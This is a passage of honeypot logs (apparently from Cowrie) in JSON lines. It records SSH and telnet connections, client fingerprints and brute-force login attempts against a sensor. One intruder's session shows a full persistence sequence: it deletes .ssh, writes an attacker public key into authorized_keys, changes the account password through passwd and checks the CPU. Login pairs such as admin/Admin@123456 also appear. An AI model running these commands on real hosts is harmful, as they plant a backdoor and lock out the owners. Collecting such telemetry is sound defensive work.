{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:27.502473Z","src_ip":"43.130.38.88","session":"8a0c1f91246b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:27.673382Z","src_ip":"45.153.34.97","session":"b30f87aea320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":44058,"dst_ip":"10.17.0.5","dst_port":23,"session":"743e4245f9ae","protocol":"telnet","message":"New connection: 213.108.3.46:44058 (10.17.0.5:23) [session: 743e4245f9ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:28.755837Z"}
{"eventid":"cowrie.session.closed","duration":0.011846542358398438,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:28.767557Z","src_ip":"213.108.3.46","session":"743e4245f9ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.31.20","src_port":59808,"dst_ip":"159.203.135.109","dst_port":22,"session":"a500a6229e3c","protocol":"ssh","message":"New connection: 43.153.31.20:59808 (159.203.135.109:22) [session: a500a6229e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:28.884675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:28.889306Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:28.957257Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123456","message":"login attempt [admin/Admin@123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:29.261735Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":29736,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a168f0fb26b","protocol":"ssh","message":"New connection: 45.153.34.97:29736 (10.17.0.5:22) [session: 7a168f0fb26b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:29.268827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:29.482351Z","src_ip":"45.153.34.97","session":"7a168f0fb26b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:29.600631Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:29.604488Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:29.609094Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:29.615330Z","src_ip":"45.153.34.97","session":"7a168f0fb26b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:29.744414Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:29.869009Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:29.873099Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:29.946539Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:29.950569Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.31.20","src_port":59818,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccad1e397809","protocol":"ssh","message":"New connection: 43.153.31.20:59818 (159.203.135.109:22) [session: ccad1e397809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:30.011535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:30.019588Z","src_ip":"43.153.31.20","session":"ccad1e397809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:30.092741Z","src_ip":"43.153.31.20","session":"ccad1e397809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"public","password":"tnsvnd2009gh","message":"login attempt [public/tnsvnd2009gh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:30.199852Z","src_ip":"45.153.34.97","session":"7a168f0fb26b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:30.399546Z","src_ip":"43.153.31.20","session":"ccad1e397809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:31.284706Z","src_ip":"45.153.34.97","session":"7a168f0fb26b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:31.472245Z","src_ip":"43.153.31.20","session":"ccad1e397809","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.31.20","src_port":59822,"dst_ip":"159.203.135.109","dst_port":22,"session":"5510116f02cd","protocol":"ssh","message":"New connection: 43.153.31.20:59822 (159.203.135.109:22) [session: 5510116f02cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:31.537568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:31.543674Z","src_ip":"43.153.31.20","session":"5510116f02cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:31.612295Z","src_ip":"43.153.31.20","session":"5510116f02cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:31.915967Z","src_ip":"43.153.31.20","session":"5510116f02cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:32.988045Z","src_ip":"43.153.31.20","session":"5510116f02cd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:33.117154Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:33.121205Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:33.259038Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54338,"dst_ip":"10.17.0.5","dst_port":23,"session":"4df7e46e943d","protocol":"telnet","message":"New connection: 152.42.224.71:54338 (10.17.0.5:23) [session: 4df7e46e943d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:33.303722Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54340,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee5ce00d660b","protocol":"telnet","message":"New connection: 152.42.224.71:54340 (10.17.0.5:23) [session: ee5ce00d660b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:33.309376Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:33.378786Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"Admin@123456\\n2QvoOWmcy4dL\\n2QvoOWmcy4dL\"|passwd|bash","message":"CMD: echo -e \"Admin@123456\\n2QvoOWmcy4dL\\n2QvoOWmcy4dL\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:33.383136Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:33.387315Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:33.391309Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/dee27a1629a3f7fcc6cf78befa5b03872520628979759e868d3672cfa91c93d5","size":32,"shasum":"dee27a1629a3f7fcc6cf78befa5b03872520628979759e868d3672cfa91c93d5","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/dee27a1629a3f7fcc6cf78befa5b03872520628979759e868d3672cfa91c93d5 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:33.528383Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:33.656026Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"Admin@123456\\n2QvoOWmcy4dL\\n2QvoOWmcy4dL\\n\"|passwd","message":"CMD: echo \"Admin@123456\\n2QvoOWmcy4dL\\n2QvoOWmcy4dL\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:33.659714Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/42366232c20bf577542faa7526ac31b3d097fbdacaf587d5b56625f5f803dcfa","size":25,"shasum":"42366232c20bf577542faa7526ac31b3d097fbdacaf587d5b56625f5f803dcfa","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/42366232c20bf577542faa7526ac31b3d097fbdacaf587d5b56625f5f803dcfa after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:33.795466Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:33.914146Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:33.918098Z","src_ip":"43.153.31.20","session":"a500a6229e3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":53044,"dst_ip":"10.17.0.5","dst_port":22,"session":"340bcaff1d5a","protocol":"ssh","message":"New connection: 45.153.34.97:53044 (10.17.0.5:22) [session: 340bcaff1d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:33.925718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:33.933116Z","src_ip":"45.153.34.97","session":"340bcaff1d5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:11:34.015909Z","src_ip":"45.153.34.97","session":"340bcaff1d5a","protocol":"ssh"}
